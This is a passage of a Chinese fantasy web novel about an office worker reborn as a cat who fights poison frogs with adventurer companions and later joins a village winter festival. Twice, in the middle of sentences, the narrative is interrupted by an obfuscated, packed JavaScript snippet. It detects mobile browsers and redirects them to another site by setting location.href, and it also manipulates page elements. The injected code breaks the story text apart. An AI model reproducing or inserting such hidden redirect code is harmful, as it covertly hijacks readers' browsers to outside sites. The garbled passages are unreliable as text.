方绪白攥紧草浆布,尾巴尖绷得像拉满的弓弦,绒毛都竖起来像炸毛的小刷子。跑是要跑的,但这篮稻穗是她的临时工位兼午休沙发,软乎乎还带麦香,怎么能让毒蛙毁了?要是稻穗没了,下次午休,只能蹲在冰冷的盾牌上,像上次在雪地里那样,冻得爪子发麻,尾巴卷成个毛球,连做梦都梦见公司的橘色绒垫沙发,梦见林姐递来的榛子巧克力,还有同事偷偷塞给他的辣条。 正想着,沼泽里突然“咕嘟”一声闷响,比之前任何一声都沉,泥面竟拱起个小土包,接着“噗”地溅起片黑泥——一只毒蛙猛地蹦出来,有半只竹篮那么大,深绿蛙皮上的黑斑像泼了墨,鼓着的腮帮子比西拉斯啃剩的麦饼还圆,淡绿毒液顺着嘴角往下滴,落在泥里“滋滋”冒小泡,连草叶都被烧得卷了边。 方绪白尾巴一甩,把竹篮往奎兰那边推了推,草浆布在手里攥得发皱,用四肢比划着:奎兰,瞄准腮帮子! 方绪文还没比划完,毒蛙“呱”地叫了声,声音像老打印机卡死后的闷哼,接着就朝稻穗扑来。罗文眼疾手快,抓起石臼里的硫磺草浆往毒蛙身上泼,绿汁沾到蛙皮,瞬间冒起白烟,毒蛙疼得直蹦,溅得泥点到处都是,西拉斯趁机抄起旁边的树枝,往毒蛙后腿上戳:“看你还敢毁稻子!” 可毒蛙不止一只——沼泽里接二连三地蹦出圆滚滚的身影,此起彼伏的“呱呱”声混着咕嘟声,像办公室里好几台打印机同时卡纸,吵得人头疼。奎兰闭着眼拉弓,箭“嗖”地射出去,竟真中了一只毒蛙的眼睛,那毒蛙疼得翻了个身,沉进泥里只露个背。“中、中了!”奎兰眼睛亮起来,蓝眼睛里闪着光,手也不抖了,又抽出一支箭,这次瞄准得格外认真。 方绪白往东边退,尾巴扫过稻穗,带起阵温乎的麦香,像把烤红薯掰开来时的热气。他突然瞥见沼泽边的硫磺草长得比别处密,心里一动——以前做活动策划,总说“集中优势资源打攻坚战”。 方绪文赶紧用四肢拼命比划:罗文!把草浆往硫磺草丛那边引! 罗文立刻懂了,抓着草浆布往草丛跑,毒蛙们果然追着草浆味跳过去,刚靠近草丛,就被草叶上的绒毛蹭得直缩腿,像被工位上的仙人掌扎了手。 西拉斯终于捞起了斧头,斧柄上的泥还没擦干净,就往一只毒蛙背上劈:“让你吞我斧头!”斧头砍在蛙皮上,竟溅起火星,毒蛙“呱”地叫着回头喷毒液,西拉斯赶紧躲,却还是蹭到了裤脚,布瞬间就黑了块。“什么!?”他骂了句,却看见奎兰的箭又射中来一只毒蛙的眼睛,忍不住喊:“小草莓鼻子,射得不错啊!”奎兰脸一红,箭却射得更准了。 罗文把剩下的艾草混着硫磺草点燃,“噼啪”的火苗窜起来,像被不小心碰倒的打火机倒在了油里,火连天般的烧了起来,烧得毒蛙们四处乱蹦。 烟味混着草木香,像为了涨工资,在工位上虔诚点起的檀香,却呛得毒蛙们直往泥里钻。 方绪白趁机把竹篮里的稻穗往村民那边搬,尾巴卷着稻穗,像以前抱着文件往会议室跑,林姐总说他“抱着文件像抱着救命稻草”,现在这稻穗,倒真成了青稻村的救命稻草。 等最后一只毒蛙沉进泥里,沼泽的咕嘟声终于轻了,只剩下火苗“噼啪”地烧着草梗,还有西拉斯粗重的喘气声。奎兰瘫坐在地上,浅金发沾着草灰,却还攥着弓,蓝眼睛里满是兴奋:“我、我射中了五只!”罗文蹲在他旁边,递过解毒剂:“厉害,下次教你射得更准。”西拉斯拍着斧头笑:“下次砍蜥蜴怪,带你一起!” 方绪白坐在竹篮上,尾巴圈着剩下的稻穗,温乎的麦香裹着烟火气飘过来,像小摊子上烤的红薯,又像办公室午休时的暖光。他摸了摸罗文口袋,竟摸出颗巧克力,估计是村里人上次塞给罗文的,锡纸包装还没拆,沾着点樟脑丸味。 方绪白剥开锡纸,咬了口,甜得人心里发暖,像外婆泡的糖水,又像怀特家阿姨粘在牙上的红糖年糕,心情好的连罗文摸他的肚皮他都不反抗了。 村长颤巍巍地走过来,手里拿着张新的草纸,上面用毛笔写着“勇者大人,谢谢”,这次的字没歪,还画了个歪歪的小太阳。方绪白把巧克力递分给村长一点,老头咬了口,笑得皱纹都挤在一起,像晒在稻穗上的干枣。 方绪白抬头看了看天,炊烟又飘起来了,这次没有湿腥气,只有草木香和麦香,像刚晒过的枕套,暖乎乎的。 5. 清毒雾 毒雾在石缝间漫得正浓时,像被揉碎的旧棉絮,裹着股焦苦的腥气,钻得人鼻腔发疼——像上次同事在工位上点了盘蚊香,烟味混着他泡的劣质茶叶味,闷在空调房里散不去。 方绪白的尾巴尖突然勾了下罗文的披风角,绒布蹭过尾毛,软乎乎的,像上次旧围巾裹时触感,围巾上还带着护手霜的玫瑰味,暖得能焐热指尖。 罗文正捏着治愈咒文往石墙上贴——刚用圣光烧穿的毒液洼还在冒白烟,淡蓝的烟丝缠着岩壁往上飘,像办公室里没掐灭的烟蒂,烫得烟灰落在文件上留了个黑印。 罗文闻声低头,就见方绪白蹲在块青灰色岩石上,前爪扒着石沿晃尾巴,琥珀色瞳孔半眯着,倒像在打盹,尾尖的绒毛却绷得发紧,像田间里的小刺猬,尖得扎手。 可罗文指尖刚触到岩壁,就觉脚下一阵灼烫——方才方绪白踩着跳过来的位置旁,半掌宽的石缝里正渗黑绿色毒液,黏在鞋边滋滋响,像把融化的塑料滴在鞋底,带着股刺鼻的焦味,和自己第一次做饭时冒出的糊味一模一样。 “又装偶遇?”罗文拎着方绪白后颈把她提起来时,咒文还沾在指尖泛微光,暖得像秋日午后的阳光,晒得键盘都发暖。方绪白顺势蜷成团往他怀里蹭,绒毛蹭过罗文的手,像蹭着用略微粗糙的线织的毛线手套,手套上还留着毛线针的纹路,莫名得安心,方绪白耳朵尖却往左侧抖了抖——那边石后突然蹦出只毒蛙,翠绿色的黏液直喷过来,擦着方绪白的耳尖落在地上,烧出个小坑,焦土味混着毒雾,呛得人喉咙发紧,像被会议室里的二手烟呛得直咳嗽。 “知道找罗文?”罗文解披风的动作没停,指尖泛着暖光擦过方绪白的耳朵,像用温毛巾擦他沾了墨的爪子,毛巾上还带着点皂角香。他被裹进绒布里只露个脑袋,喉咙里呼噜呼噜响,像在工位午休时的小憩,连呼吸都带着点咖啡味,尾巴尖却勾住罗文的手腕往毒蛙堆的方向甩了甩,像在指给他看工位旁藏着的饼干罐,罐子里还剩半块榛子巧克力。 罗文低笑一声把披风紧了紧,圣光突然在掌心炸开,金芒像办公室里突然亮起的台灯,刺得人眼睛发花,“待着。”转身时披风下摆扫过岩石,带起的风都泛着金芒,拂过方绪白的耳尖,暖乎乎的,像便利店里热牛奶递过来时的热气。 奎兰蹲在硫磺草丛里编藤蔓时,手指被草叶划了道口子也没顾上,血珠沾在淡绿的草茎上,像落在旧纸上的墨点,晕开一小片。 村民在不远处递水囊,粗陶碗碰着石头“当”地响,像搪瓷杯碰着木桌的动静,喊“精灵先生编的项圈真管用”,他耳尖瞬间红透,像被午后太阳晒得发烫,连脖子都泛着粉,捏着藤蔓的手却没缩——项圈上还挂着片没摘干净的草叶,歪歪扭扭绕了三圈,刚往方绪白脖子上套时,方绪白还用爪子扒拉了两下,像嫌弃他缝得歪歪的衣角,针脚乱得像没对齐的表格线。 可这会儿方绪白戴着项圈冲进毒蛙群,爪子踩在石地上“哒哒”响,像以前抱着文件往会议室跑的脚步声,文件边角都被风吹得卷了边,跑两步突然顿住,回头直瞅奎兰,琥珀色的眼睛亮得像办公室窗台上的玻璃罐,装着养的小金鱼,鱼鳞在阳光下闪着光。 精灵正攥着硫磺草茎发愣,指节都泛白,像攥着被不被认可的方案纸,就见一只毒蛙从石后蹦出来,黏液喷得又急又快——方绪白猛地跳起来挡在他面前,尾巴横扫过去,黏液全沾在尾毛上,泛着恶心的绿光,像蹭了没洗干净的马克笔,上次做海报蹭的墨,擦了半天才淡下去。 “别碰勇者!” 奎兰的声音发颤,却梗着脖子没躲,像上次去击杀祸害村子的恶狼时,明明怕得手抖,却还硬撑着走在前面,手里攥着的魔法棍都晃得厉害。 木魔法突然疯长起来,硫磺草茎破土而出,转眼间缠成密不透风的绿网,把毒蛙全困在里头,草叶摩擦的“沙沙”声,像着急翻找旧文件的响动,纸张都被翻得发皱。奎兰伸手把方绪白往身后拉了拉,指尖碰着猫耳尖时才发现自己在抖,像冬天摸着凉凉的冰块,指尖都冻得发麻,方绪白项圈上的草叶被风吹得晃了晃,蹭得方绪白又呼噜了一声,像被罗文烧起来的篝火堆烘得暖和了,篝火里上还留着点夏日树木的暖香。 “小心点!”西拉斯的斧头劈偏了,擦着石棱迸出火星,红得像刚拆封的红墨水,洒在白纸上格外扎眼,他蹲下来捡掉在地上的药囊,粗布袋子沾了泥,像蹭了油渍的工装裤,上次搬油桶蹭的油渍,洗了三次都没洗干净,红发被汗黏在额头上,贴得发紧,像加班到深夜时,汗湿的刘海粘在额角,“这破毒液沾着就疼——上次我帮村里人搬油桶,蹭了点油都洗不掉,这玩意儿比油还邪门!哎?” 方绪白突然叼着他的裤脚往旁边拽,牙齿轻轻咬着粗布,像以前扯着罗文的衣角要去佐伊家吃鸡,每次罗文总笑着说“薇薇安小小的脑瓜就想着吃了”。 矮人刚想说一句“先别扯我”,话还没说完,就见方才蹲的位置突然塌了块,黑绿色的毒液正从石缝里往外冒,滋滋响着烧蚀石头,像把开水倒在冰上,“嘶”的一声就化了。西拉斯挠了挠头刚想说“谢了啊猫大人”,手还沾着泥,像刚摸过五金店的砂纸,又看见方绪白往罗文那边跑,尾巴尖还沾着方才挡毒液时蹭的绿黏液,跑起来一甩一甩的,像拖着条没擦干净的抹布,上次帮罗文打扫屋子时,他也拖得满地是水。 “喂!罗文!你家猫尾巴还没擦呢!”西拉斯举着斧头喊,声音大得震得石缝里的毒雾都晃了晃,像在办公室里突然喊了声“下班了”,惊得同事们都抬头,却见罗文正用圣光擦方绪白的尾巴尖,暖光漫过绿黏液,像水流缓缓流过水中的水草一样轻柔。 绿色的粘液并不好闻,有点刺鼻,方绪白乖乖蹲在他肩上,前爪扒着他的棕发,像抓着工位旁挂着的毛绒小熊挂件,小熊的耳朵都洗得褪毛了,眼睛上的纽扣也松了线,琥珀色的眼睛半眯着,倒像刚才冲进毒蛙堆的不是他,是只会打盹的懒猫,连爪子都懒得抬。罗文指尖的暖光漫过猫毛,轻声笑:“下次再这样莽撞——” 话没说完,方绪白突然低头舔了舔他的耳垂,湿乎乎的,像小时候外婆用舌尖碰他冻得发凉的耳朵,外婆的舌尖带着点糖水的甜。 罗文顿了顿,把他往肩上又托了托,披风裹得更紧了些,像把方绪白裹在旧围巾里,说“别冻着,你这毛乎乎的小家伙”,围巾绕了两圈,把方绪白裹得像个小粽子。 西拉斯在旁边啧了一声,用斧头敲了敲石头,像敲着键盘发牢骚一样,敲得键盘都“哒哒”响,转头看见奎兰还在盯着方绪白脖子上的项圈发呆,草叶被风吹得晃,精灵的蓝眼睛亮得很,倒比圣光还暖点,像连绵不断的阴雨天的窗外,突然放晴的天空,连云都透点光。 毒雾被圣光的金芒烘得散了些,风裹着硫磺草的焦香飘过来,像方绪白虔诚点燃的檀香里,混着点烟火气,还带着点他偷偷泡的枸杞茶味。 罗文肩上的方绪白突然直起身子,琥珀色眼睛盯着石缝深处——那里的咕嘟声比别处沉,像办公室冰箱制冷时的闷响,还带着点黏腻的“斯拉”声,听得人后颈发毛,像上次加班到深夜,突然听见走廊里传来的拖把拖地声,明明没人,却响得心慌。 “里面还有大家伙。”罗文指尖的圣光暗了暗,刚擦干净的猫尾巴又被方绪白勾着往石缝里甩,他喉咙里的呼噜声停了,像小憩时被领导喊去谈话时突然停住的美梦,连呼吸都放轻了。 奎兰攥着藤蔓走过来,指尖还沾着草汁,蓝眼睛盯着石缝口的毒雾,却往方绪白身边靠了靠,项圈上的草叶蹭着猫毛,软乎乎的,“我、我能让硫磺草往里面长,缠住它的腿,像上次缠恶狼那样紧。” 西拉斯把斧头扛在肩上,红发上还沾着草屑,像蹭了工位旁的仙人掌刺,“正好,也让我劈劈这藏在窝里的玩意儿,省得它出来霍霍稻子——上次矿洞的蜥蜴怪,我劈了它七斧才老实。” 方绪白突然从罗文肩上跳下来,爪子踩在石地上没发出声响,像以前偷偷溜进茶水间拿咖啡,生怕吵醒午休的同事,连杯子碰撞的“当”声都要压到最小。 方绪白往石缝里走了两步,尾巴尖扫过岩壁上的青苔,湿乎乎的,像摸了把没拧干的抹布,要是用这样的抹布去打扫卫生,罗文包笑她“擦得比没擦还脏”。 石缝深处突然“呱”地响了声,比之前的毒蛙叫得沉,震得岩壁上的碎石渣往下掉,像办公室天花板上的墙皮,每次开空调都往下掉灰,方绪白猛地回头,尾巴勾住罗文的裤脚——像有一次加班时突然断电,漆黑的办公室里,他攥着同事的衣角不肯放,连爪子都在抖。 罗文立刻把圣光聚在掌心,金芒照亮了石缝深处:一只毒蛙蹲在那里,比竹篮还大,深绿蛙皮上的黑斑像泼了墨,鼓着的腮帮子上还沾着碎石,像没擦干净的黑板,眼睛是浑浊的黄色,像放久了的蛋黄,散着股腥气。它身边的石缝里渗着黑绿色毒液,汇成小洼,滋滋响着烧蚀石头,连空气都带着股焦味,和打印机主板烧了时的味道一模一样,呛得人想咳嗽。 “好家伙,这是毒蛙王吧!”西拉斯举着斧头就要冲,方绪白却叼着他的裤脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290269|182655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往回拽,尾巴尖指向奎兰手里的藤蔓——像有次小队清恶狼时,他用四肢比划着指着计划上的漏洞一样焦急。 罗文立刻懂了,“奎兰,用藤蔓缠它的眼睛!让它看不见我们!”精灵点点头,指尖捏着草茎往石缝里伸,木魔法催动时,硫磺草茎像疯长的绿萝,顺着岩壁爬进去,草叶上的绒毛蹭得毒蛙王直缩脖子,“呱”地喷出道毒液,却被罗文的圣光挡了回去,毒液落在地上,烧出个深坑。 方绪白趁机往毒蛙王身后跑,爪子踩在毒液洼边,沾了点毒液的尾毛瞬间焦了根,像被卷发棒烫了的猫毛,他却没躲,反而用尾巴扫向毒蛙王的后腿——像以前在办公室里,他用小扫帚扫领导脚边的碎纸,故意捣乱蹭了蹭他的皮鞋,领导皱着眉,他却假装没看见。 毒蛙王疼得蹦起来,后腿蹬在岩壁上,石缝里的碎石像下雨似的往下掉,西拉斯趁机冲过去,斧头往它背上劈:“给我老实点!你这比蜥蜴怪还丑的怪玩意儿!” 斧头砍在蛙皮上,溅起的不是火星,是淡绿的毒液,西拉斯赶紧躲,却还是蹭到了袖子,粗布瞬间黑了块,像被马克笔涂了道,“这家伙!这皮比老子的工装裤还硬!上次搬油桶蹭的油,洗三次都没掉,这玩意儿蹭一下就烂!” 奎兰的藤蔓突然缠住了毒蛙王的眼睛,草茎越收越紧,像村里女孩子扎头发的样子,勒的紧紧的,勒得毒蛙王瞎了似的四处乱撞,石缝里的毒液洼被踩得溅起水花。 方绪白跳起来,爪子扒着毒蛙王的背,往它眼睛上挠——像上次抓坐垫里的老鼠,他把坐垫都挠破了,罗文还笑她“比小老虎还凶,老鼠没抓到,坐垫先废了”。 罗文的圣光突然聚成光柱,往毒蛙王的腮帮子上射,金芒像办公室里突然亮起的投影仪灯光,刺得人眼睛发花,“呱!”毒蛙王疼得直打滚,压垮了旁边的石棱,碎石砸在地上,像办公室里堆太高的文件突然塌了,哗啦啦响得吓人。 方绪白从它背上跳下来,尾巴勾住块碎石,往毒蛙王的眼睛上扔——像以前把回形针往打印机里硬塞,想把卡纸的文件顶出来,结果回形针也卡进去了,林姐骂他“添乱小能手”。 碎石砸中了被藤蔓缠住的眼睛,毒蛙王疼得翻了个身,露出肚子上的白纹,像旧衬衫上的补丁,西拉斯趁机劈了过去:“看你还怎么祸害人!我让你再也喷不出毒液!” 斧头砍进毒蛙王的肚子,绿汁喷了西拉斯一身,像打翻了的丙烯颜料,他却没躲,反而又劈了一下:“我可不能让你霍霍青稻村的稻子——村子里的年糕还等着用呢!”毒蛙王的叫声越来越弱,最后瘫在石缝里,只有腮帮子还在轻轻鼓着,像漏了气的气球。 奎兰的藤蔓还缠在它的眼睛上,草叶已经蔫了,像放了三天的青菜,精灵走过去,轻轻碰了碰方绪白的耳朵,指尖还在抖,“我、我们赢了,你没受伤吧?”方绪白蹭了蹭他的指尖,尾巴尖扫过他手上的小伤口。 罗文走过来,用圣光擦了擦方绪白沾了毒液的尾毛,暖光漫过猫毛,焦味渐渐散了,像用吹风机吹他湿了的毛,暖乎乎的。 罗文一开口就说:“下次再这么冲在前头,我就把你裹在披风里,不让你下来,省得你在战斗中受伤。” 方绪白却往他怀里蹭,喉咙里又响起呼噜声,像午休时的小憩,安心得很,连窗外的雨声都听不见了。 西拉斯把斧头扛在肩上,虽然一身绿汁,却笑得咧嘴,露出两排白牙:“走!回村子里吃年糕年糕!我要吃三大块,红糖要多放!上次吃了三块,粘得牙都快掉了,还想吃!” 奎兰跟在后面,手里还攥着那根缠过毒蛙王的藤蔓,草叶上沾着点毒蛙王的绿汁,却没蔫,像被水泡过的绿萝,他把藤蔓绕在方绪白的项圈上,像给他戴了个小装饰,“这样、这样就不怕别的毒蛙靠近你了,” 奎兰的样子郑重像给文件加了个安全的保护套。方绪白蹭了蹭他的手,项圈上的草叶和新缠的藤蔓缠在一起,晃悠悠的。 石缝外的毒雾已经散了,阳光斜斜照进来,像办公室里突然拉开的窗帘,暖得人想打盹,连键盘上的灰尘都亮得显眼。 方绪白走在最前面,尾巴尖扫过草叶,罗文、奎兰和西拉斯跟在后面,脚步声、说话声混在一起,像以前下班时同事们收拾东西的动静,键盘“啪嗒”归位,椅子“吱呀”推开,吵吵闹闹,却暖得人心安。 远处青稻村的炊烟又飘起来了,这次没有湿腥气,只有麦香和草木香,像烤的红薯香,又像泡的速溶咖啡香,裹着风飘过来,沾在方绪白的耳尖上,暖乎乎的。 6. 青稻村暖冬祭 青稻村的暖冬祭是被雪裹着来的。雪片软得像揉碎的棉絮,粘在茅草屋顶上就赖着不走——阿婆家的茅草顶去年漏过雨,罗文帮着铺了层新草,此刻被雪一盖,倒看不出修补的痕迹了,只像个圆滚滚的雪馒头。连烟囱上那只豁了口的旧陶罐,都落了圈雪边,白乎乎的,像村头货郎担里卖的糖霜点心,甜滋滋的模样。村口老槐树的枝桠间垂着冰棱,一串串亮晶晶的,风一吹就“叮咚”响,比年节时阿婆挂在檐下的铜铃还脆三分。有片雪从槐树叶上滑下来,正落在蹲在树根下的灰雀背上,灰雀扑棱棱飞起来,带起的雪沫子溅在路过的小孩棉鞋上,惹得小孩咯咯笑,笑声像撒了把碎糖。 穿小棉袄的小丫头叫露西,攥着西拉斯的手腕往晒谷场拽时,棉鞋踩在新雪上“咯吱咯吱”响,声儿脆得能嚼出糖渣味:“西拉斯叔叔快些呀!去年你堆的雪屋,我们藏了半筐红薯在里头,雪化了都没塌呢,今年要堆个更大的!”她另一只手里攥着串冻红果,红得透亮,果蒂处还沾着点白霜,蹭在西拉斯的粗布袖口上,留下点甜津津的水渍。西拉斯的袖口磨出了毛边,是上个月在毒蛙沼泽挡毒液时被藤刺刮的——那天他举盾护着奎兰退,盾沿刮过荆棘丛,袖口就勾出了丝,后来总说“矮人不在乎这些,破了才结实”,拖着没补,此刻被红果渍一衬,倒添了点活气,像块带了花纹的粗布。 西拉斯皱着眉往手心里呵气,白气裹着他的声音飘了半尺远:“太冷了!要堆你们堆——”话没说完,脚却诚实地跟着往场中央挪,还“哐当”一声把盾往雪地里一插。盾底戳进雪层半尺深,稳稳当当地成了临时桩子,盾面的“护”字纹泛着淡蓝的结界光——这结界是他上个月跟着村里老法师学的,练时总把盾烧出黑印,有次还燎了自己的胡子,被方绪白蹲在盾沿上笑了半天,连尾巴都翘得老高。此刻却正好派上用场:雪落在上头没等积厚,就被烘得化成了水珠,顺着盾沿往下淌,在雪地上洇出串歪歪扭扭的小坑,倒像谁在雪地里画了串省略号,透着点俏皮。 他捞起盾边往雪堆里铲,铁面蹭着雪“沙沙”响,溅起的雪沫落在她发红的耳尖上,她也没顾上掸。 方绪白蹲在罗文肩头看了会儿——罗文正帮阿婆扶着歪了的晾衣杆,晾衣杆上还挂着阿婆织的粗布巾,蓝底带白花的,是给露西做新衣裳剩下的布角拼的,针脚歪歪扭扭却暖。雪落在布巾上,融成小水珠往下滴,滴在罗文的棕发上。 他没动,只是用手托着杆底,指腹蹭过杆上的裂纹——这根晾衣杆是去年稻花祭时他帮阿婆削的,此刻裂纹处沾了雪,倒显得温润了,像藏了段旧时光。罗文的绿眼里映着雪光,软乎乎的像落了片云,连平时抿着的嘴角都松了些,露出点浅淡的笑意。 方绪白突然蜷起身子往下跳——雪落在背上凉丝丝的,比蹲在暖和的披风里有意思多了,再说,社畜的“团队协作本能”总催着它:得去给矮人搭把手(哪怕只是添点乱)。 爪垫陷进软雪时,方绪白还下意识抖了抖——刚穿成猫那会儿,踩雪总打滑摔屁股墩,有次摔在西拉斯的盾上,盾面的“护”字纹硌得它腰疼,被西拉斯揪着后颈骂了半宿“笨猫没长骨头”,还把它丢进罗文怀里让“罗文管管”。现在却稳当多了,肉垫踩在雪上软乎乎的,竟有点舒服,像踩在写字楼茶水间的绒垫上——就是少了杯热咖啡,不然就更惬意了。 它踩着雪往盾那儿跑,路过露西丢在地上的冻红果时,还特意绕了绕——上次踩碎了露西的麦芽糖,被小丫头追着挠了半天尾巴,毛都薅掉了几根。 到了盾顶干脆扒着边儿蹲稳,尾巴尖扫过融雪,带起的水珠溅在“护”字旁边,洇出片湿痕。等它跳下盾时,雪地上已经印了串梅花似的爪印,歪歪扭扭凑在盾根边,像给盾系了串小铃铛,可爱得紧。 西拉斯铲雪的动作顿了顿,低头瞥了眼爪印。换在去年,他早举着盾边“哐当”一下把猫扒开了,说不定还会用靴尖碾两下印子,说句“净添乱”。此刻却只是放下铁铲,用粗粝的指尖往爪印上轻轻描——指腹蹭过雪粒时有点凉,可描到爪尖那道浅痕时,不知怎的就放轻了力道,像是怕把这印子蹭没了,又像是在摸件宝贝。 “笨猫。”他嘟囔着骂,声音却比平时轻了半截,还带着点自己都没察觉的软,转身接着铲雪时,特意往盾边留了块空地——刚好够再印一串爪印的地儿,像怕猫没处“捣乱”似的,藏着点说不出口的纵容。 雪屋堆到半人高时,奎兰抱着捆干柴从村头走来。他浅金发上落了层薄雪,看着像撒了把碎银,连眼睫上都沾了点白,走得慢腾腾的——他怕踩滑,去年暖冬祭就摔在雪地里,膝盖磕在石头上青了块,被西拉斯笑了三天“精灵脚不沾地也会摔跤”,还被罗文逼着涂了草药膏,药膏味呛得他皱了好几天眉,连魔法都差点催错了。 走到近前才发现雪屋缺了圈挡的东西——扎小辫子的露西正扒着雪墙往上爬,棉鞋在雪墙上蹭出两道印子,脚下一滑,“哎哟”一声差点摔在雪地里,手里的冻红果滚了一地,有颗还滚到了奎兰的脚边,红得亮眼。 奎兰赶紧举着木杖往雪屋边一站,杖尖往雪地里轻轻顿,声音发轻却没发抖——换在刚组队时,他见着小孩哭都要往后躲,有次露西追着问他“精灵哥哥会飞吗”,他红着脸躲到罗文身后,被西拉斯笑“比猫还怂”,连耳朵尖都红透了。此刻却敢主动开口:“别爬呀,会摔的。” 话音落时,青藤已经从雪层下钻了出来。不是当年在荆棘谷催出的那种苍劲老藤——那时他慌得忘了控力,藤尖带着刺,差点扎到罗文的手,后来内疚了好几天,偷偷用魔法给罗文的手催了催愈合草,连觉都没睡好;现在是细巧的新藤,缠缠绕绕往雪墙上攀,转眼就编了圈半人高的栏杆,藤叶上还沾着未化的雪粒,绿得格外显眼,连藤间都留了些小缝隙,正好能让小孩扒着往里看,还不会卡着手,贴心得很。 “这样小孩不会摔进去。”他说着往后退了退,蓝眼往雪屋里瞟了瞟——露西正扒着藤栏杆往里瞅,手指戳着藤叶笑,还捡起地上的冻红果往藤缝里塞,没再乱爬,才悄悄松了口气,耳尖却有点红,像被火烤过。 他偷偷捏了捏木杖——杖底缠着圈布,是罗文帮他缝的,用的是自己披风上的布角,怕他握杖时磨手,针脚细细的,藏着温。此刻布面温温的,像有人在托着他的手似的,让他想起刚组队时,罗文把这木杖递给他说“魔法不只是用来战斗的,还能护着想要护的人”,那时他还不懂,只觉得魔法是用来保命的。 罗文蹲在旁边堆雪门,听见动静抬头笑了。他刚用手把雪拍得实实的,指尖沾着雪粒,棕发上那片雪终于化了,顺着鬓角往下淌了点水,他也没擦。绿眼弯得像浸了暖意的湖:“奎兰这魔法用得越来越巧了。换在去年,怕是要催出半人高的荆棘来,扎得小孩哭鼻子——去年那谁被藤刺扎了手,还偷偷抹眼泪来着?”他说的是奎兰自己,上次催藤挡野狗时被刺扎了指尖,硬忍着没吭声,却在罗文给包扎时红了眼眶,像个受了委屈的小孩。 奎兰捏着木杖往旁边挪了挪,小声反驳:“才没有......”声音轻得像怕被风听见,却没真躲开,反而看着罗文把雪门堆得方方正正,还特意在门底下留了个猫能钻的小豁口——比方绪白的爪子宽不了多少,刚够它蜷着身子钻进去,连猫的习惯都记得。他偷偷想:罗文总记得这些小事,连猫钻的口都留得正好,上次在盐商镇,他说冷,罗文就把披风分了他一半,虽然嘴上说“别冻病了还得我治,麻烦”,可披风上的暖意,却暖了他一路。 夜里围炉时,阿婆送来的柴烧得正旺,火光“噼啪”跳着舔炉壁,把四人一猫的影子投在墙上,忽高忽低地晃,像幅流动的画。 西拉斯啃着烤得焦香的土豆,皮都没剥干净就往嘴里塞,腮帮鼓得像含着球,土豆渣沾在他耳后也没顾上擦——他耳后有块旧疤,是矿坑塌时被碎石划的,三指宽,平时总用头发挡着,不让人碰,像藏着个不愿提起的秘密。有次方绪白蹲在她肩头舔毛,不小心蹭到了,被他猛地抖开,后来罗文才悄悄跟方绪白说:“那是老马克推他出来时,碎石划的,他总觉得是自己没护好弟兄,心里一直怪自己。”此刻疤上沾着渣子,倒显得没那么狰狞了,多了点烟火气。 西拉斯突然就没头没脑地说了句:“当年矿坑塌了时,我要是会结界......”话卡在喉咙里,他用力嚼了嚼土豆,腮帮动了动,才把后半句含糊吐出来:“老马克他们......说不定能撑到我去找人,就不会被埋在里头了。”颈间的铁铲护符跟着晃了晃——那是当年老马克塞给他的,矮人铁匠铺打的,边缘都被磨圆了,贴在皮肤上温温的。老马克推她出矿坑时,就攥着这护符说“拿着,以后替我护着弟兄们”,可他那时连块盾都护不好,眼睁睁看着矿坑的土往下塌,老马克的声音被埋在石头底下,再也没听见。 奎兰攥着热麦饼的手猛地紧了紧,指节泛白。麦饼的热气烘得掌心发烫,他却像没察觉,小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奎兰捏着麦饼的手松了松,指腹蹭过麦饼的焦边,蓝眼亮了点,像落了颗火星,他把麦饼掰了块,往罗文面前递了递——罗文刚才光顾着梳猫毛,自己还没吃呢,麦饼都快凉了。 方绪白在罗文怀里蹭了蹭他的下巴,猫毛蹭过喉结时,听见三人都轻轻叹了口气。那叹气声不沉,不像去年在铁匠铺听西拉斯念老马克时那样坠得人心慌,倒像雪落在热炉上,“滋”地化了,润得心里软乎乎的——像喝了口阿婆煮的姜糖水,暖从喉咙一直淌到心里,连带着四肢百骸都暖了。 方绪白突然想起刚组队时,西拉斯总跟奎兰拌嘴,奎兰总躲着人,罗文总绷着脸,现在倒像屋檐下的冰棱,看着冷,融了却都是暖的,凑在一起,就是个热热闹闹的家。 炉里的柴又烧旺了些,把西拉斯耳后沾的土豆渣映得清楚。 奎兰悄悄把手里的麦饼往西拉斯那边推了推——是阿婆特意烤的甜麦饼,放了糖渣的,西拉斯爱吃甜,却总嘴硬说“矮人不爱吃女孩儿们吃的东西”,有次偷偷拿了块藏在盾后啃,被方绪白看见了,还威胁西拉斯:敢说出去就砸你盾,模样凶得很,却透着点可爱。 西拉斯没看,手却像长了眼睛似的,伸过来接了过去,指尖碰了碰奎兰的手背,没像平时那样说“别靠着我,热死了”,反而停顿了半秒,才把麦饼往嘴里塞,腮帮动得比刚才快了些,嘴角还悄悄翘了点。 罗文低头时,看见方绪白琥珀色的瞳孔里落着火光,亮得像藏了颗小太阳。 方绪白正用爪子扒拉着他的袖口,往炉边指——那里放着西拉斯白天修盾时落下的铁钎子,盾就靠在炉边,盾面的“护”字旁,还能看见被雪洇湿的爪印印子呢,是方绪白下午“捣乱”的证据。方绪白甩了甩尾巴,忽然觉得这猫身也没那么糟——至少能蹲在他们中间,把这暖乎乎的光景都记在眼里,比在写字楼盯着KPI弹窗时,踏实多了,也幸福多了。 方绪白打了个哈欠,往罗文怀里缩了缩,听见罗文轻声笑了,指尖挠了挠它的耳后——就像每次完成任务后,他总会做的那样,带着不变的温。 